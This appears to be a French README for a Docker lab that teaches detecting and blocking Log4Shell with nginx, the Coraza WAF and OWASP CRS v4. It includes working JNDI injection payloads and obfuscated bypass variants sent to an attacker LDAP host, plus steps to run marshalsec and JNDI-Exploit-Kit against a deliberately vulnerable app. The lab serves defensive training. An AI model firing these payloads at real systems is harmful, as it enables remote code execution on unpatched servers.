Log4Shell (CVE-2021-44228) laboratoire de défense — nginx + Coraza WAF dynamic module + OWASP CRS v4. Usage éducatif uniquement.
Objectif éducatif / défensif : ce laboratoire contient une application intentionnellement vulnérable (Log4j 2.14.1) et une boîte à outils d'exploitation JNDI, UNIQUEMENT destinée à apprendre à détecter et bloquer Log4Shell dans un environnement isolé. Ne pas déployer sur Internet, ne pas utiliser pour attaquer des systèmes qui ne vous appartiennent pas.
Laboratoire pratique de défense contre Log4Shell (CVE-2021-44228) utilisant nginx intégré avec Coraza WAF (module dynamique) + OWASP CRS v4 + un ensemble de règles JNDI personnalisées. Inclut un conteneur cible Spring Boot vulnérable, une boîte attaquante Kali, ainsi que Suricata et Wazuh pour l'observation.
Hôte (Windows / Docker Desktop)
│
├── dmz-net (172.20.0.0/24, face externe)
│ ├── nginx-proxy ← point d'entrée :80/:443, avec module Coraza + CRS v4
│ ├── attacker-box ← Kali + kits d'exploitation JNDI
│ └── suricata-ids ← renifle le trafic dmz
│
└── backend-net (172.22.0.0/24, interne : true)
├── nginx-proxy ← seconde carte réseau
├── log4shell-app ← Spring Boot Log4j 2.14.1
├── wazuh-manager ← SIEM
└── wazuh-dashboard ← UI
Flux des requêtes : client → nginx (inspection Coraza) → log4shell-app. Le WAF s'exécute à l'intérieur de nginx (via le module ngx_http_coraza_module.so), pas dans un conteneur séparé.
| Élément | Version minimale |
|---|---|
| Docker Desktop / Engine | 24+ avec Compose v2 |
| RAM libre | 4 Go (Wazuh consomme ~1,5 Go) |
| Espace disque libre | 6 Go (artefacts de construction d'image) |
| Temps de construction initial | 10–15 minutes (libcoraza + module nginx + outils attaquants Maven) |
cd /chemin/vers/log4shell-nginx-coraza
docker compose build
L'étape la plus lente est nginx (construction de libcoraza v1.4.0 avec Go 1.25, puis compilation du module coraza-nginx). Mise en cache après la première fois.
docker compose up -d
docker compose ps
Après ~30 s, statut attendu :
| Service | STATUT |
|---|---|
nginx-proxy | Up (healthy) |
victim-app | Up |
kali-attacker | Up |
wazuh-siem, wazuh-web | Up |
suricata-ids | peut être Restarting (voir section 8 — ne bloque pas le lab) |
# vivacité de nginx
curl http://localhost/health
# → "nginx proxy healthy"
# via WAF vers l'application (point de terminaison réel de log4shell-vulnerable-app)
curl -H 'X-Api-Version: 1.0' http://localhost/
# → "Hello, world!"
curl http://localhost/ sans l'en-tête X-Api-Version renvoie 400 — c'est la page d'erreur par défaut de Spring Boot (aucun gestionnaire), pas un blocage du WAF.
# JNDI dans User-Agent → règle 1910010 déclenchée, 403
curl -i -H 'User-Agent: ${jndi:ldap://attacker:1389/x}' http://localhost/
# JNDI dans l'en-tête d'application journalisé : X-Api-Version → règle 1910001 (en-tête+argument) déclenchée, 403
curl -i -H 'X-Api-Version: ${jndi:ldap://attacker:1389/Exploit}' http://localhost/
# JNDI dans la chaîne de requête → CRS phase 1 bloque
curl -i 'http://localhost/?x=${jndi:ldap://attacker/x}'
Attendu : HTTP/1.1 403 Forbidden, corps <html>... 403 Forbidden ... nginx ...</html>.
# Astuce minuscule (règle 1910004 / 1910008)
curl -i -H 'User-Agent: ${${lower:j}ndi:ldap://attacker:1389/x}' http://localhost/
# Deux-points-tiret-tiret (règle 1910008)
curl -i -H 'User-Agent: ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker:1389/x}' http://localhost/
curl -i -X POST -H 'Content-Type: application/json' \
-d '{"msg":"${jndi:ldap://attacker:1389/x}"}' \
http://localhost/api/log
# → 403 (règle 1910026 : Content-Type=json + corps contient jndi)
docker exec nginx-proxy sh -c 'tail -f /var/log/coraza/audit.log' | python -c "
import json,sys
for ln in sys.stdin:
try:
d=json.loads(ln)
t=d['transaction']
ua=t['request']['headers'].get('user-agent',['?'])[0][:60]
st=t['response']['status']
for m in t.get('messages') or []:
print(f'{st} {ua} :: {m[\"error_message\"][:160]}')
except: pass
"
Chaque événement est au format JSON Lines, avec :
transaction.is_interrupted: true → WAF bloquemessages[].error_message → quelle règle a déclenché, fichier et ligne, sévéritédocker exec nginx-proxy tail -f /var/log/nginx/access.log
Filtrer les blocages :
docker exec nginx-proxy sh -c 'grep " 403 " /var/log/nginx/access.log | tail'
./logs/nginx/ ← access.log, error.log
./logs/coraza/ ← audit.log (JSON), debug.log
Par défaut,
backend-netest défini avecinternal: trueetattacker-boxest uniquement surdmz-net, donc log4shell-app n'atteint PAS attacker-box. Pour que la chaîne JNDI fonctionne de bout en bout, effectuez d'abord l'étape 6.0.
Modifiez docker-compose.yml, ajoutez attacker-box à backend-net :
attacker-box:
networks:
- dmz-net
- backend-net # <— ajout
Ou déplacez log4shell-app vers dmz-net (plus simple mais moins pédagogique sur la segmentation) :
log4shell-app:
networks:
- backend-net
- dmz-net # <— ajout
Appliquez : docker compose up -d (Compose recrée le conteneur concerné).
docker exec -it kali-attacker bash
cd /opt/exploits
# Option A : marshalsec — simple, relais LDAP→HTTP
./scripts/start-ldap-server.sh marshalsec '' 172.20.0.2
# Option B : JNDI-Exploit-Kit — boîte à outils complète, payload "touch /tmp/pwned"
./scripts/start-ldap-server.sh jndi-kit
Le serveur écoute LDAP :1389 et HTTP :8888 (déjà exposés sur l'hôte dans le compose).
# Depuis attacker-box, appel direct à log4shell-app sur backend-net
docker exec kali-attacker curl -s -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://victim-app:8080/
Vérifiez :
# Le marqueur Pwned est créé dans le conteneur de l'application
docker exec victim-app ls -la /tmp/pwned
Si le fichier apparaît → la chaîne d'exploitation fonctionne, l'application est toujours vulnérable, le WAF n'est PAS contourné lorsqu'on passe par le chemin normal.
# Passage par nginx (chemin normal public)
curl -i -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://localhost/
# → 403 Forbidden, AUCUN nouveau /tmp/pwned
Le fichier ./coraza/config/log4shell-rules.conf est monté en :ro dans nginx sous /etc/nginx/coraza/log4shell-rules.conf. Après modification :
docker exec nginx-proxy nginx -t # vérification de syntaxe
docker exec nginx-proxy nginx -s reload
Si Coraza signale une erreur d'analyse (failed to compile the directive...), les workers vont se terminer et nginx -s reload ne pourra pas les relancer. Dans ce cas :
docker compose restart nginx
docker exec nginx-proxy tail -20 /var/log/nginx/error.log